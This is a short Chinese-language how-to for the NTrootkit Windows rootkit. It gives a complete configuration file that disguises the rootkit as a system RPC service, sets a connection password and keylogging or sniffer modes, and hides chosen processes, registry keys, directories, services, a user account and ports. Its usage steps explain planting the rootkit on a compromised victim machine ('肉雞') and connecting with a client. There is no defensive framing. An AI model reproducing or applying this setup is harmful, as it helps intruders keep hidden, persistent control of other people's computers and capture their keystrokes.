Rootkit之ntrootkit的配置使用

NTrootkit

一，配置方法

\\filename:ntrootkit.ini
\\This is the init file of yyt_hac's ntrootkit,please modify it correctly or the rootkit
\\can't be installed!!!
[GLOBAL]     //下面爲配置內容
\\servicename is the ntrootkit 's servicename
servicename=tsserver       //服務名
servdispname=rpcsvr
servdescription=windows system rpc server
installdir=com\sserver      //安裝目錄
connpass=12345             //鏈接密碼
appname=51cto.exe 
keylog=0                       //0爲不記錄鍵盤
workmode=1                  //0爲sniffer模式
[HIDDEN PROCNAME]     //要隱藏的服務名

51cto
[HIDDEN REGKEY]    //要隱藏的註冊表鍵

zero\soft\...\...\xxx

[HIDDEN REGVALUE]   //要隱藏的註冊表鍵值

zero\soft\...\...

[HIDDEN FILEDIR]  //要隱藏的文件目錄

c:\rootkit

[HIDDEN SERVICE]  //要隱藏的服務名

servicert
[HIDDEN USER]  //要隱藏的用戶名

zerosecurity
[HIDDEN TCPPORT]  //要隱藏的tcp端口
tcpport=5768

[HIDDEN UDPPORT]  //要隱藏的udp端口
udpport=4000

 

二，使用方法

       ①：將配置文件 .ini和服務端ntrootkit.exe放入肉雞的 system32目錄下，而後運行ntrootkit.exe安裝；ntrootkit -u password 可卸載；

        

       ②：客戶端用rtclient鏈接；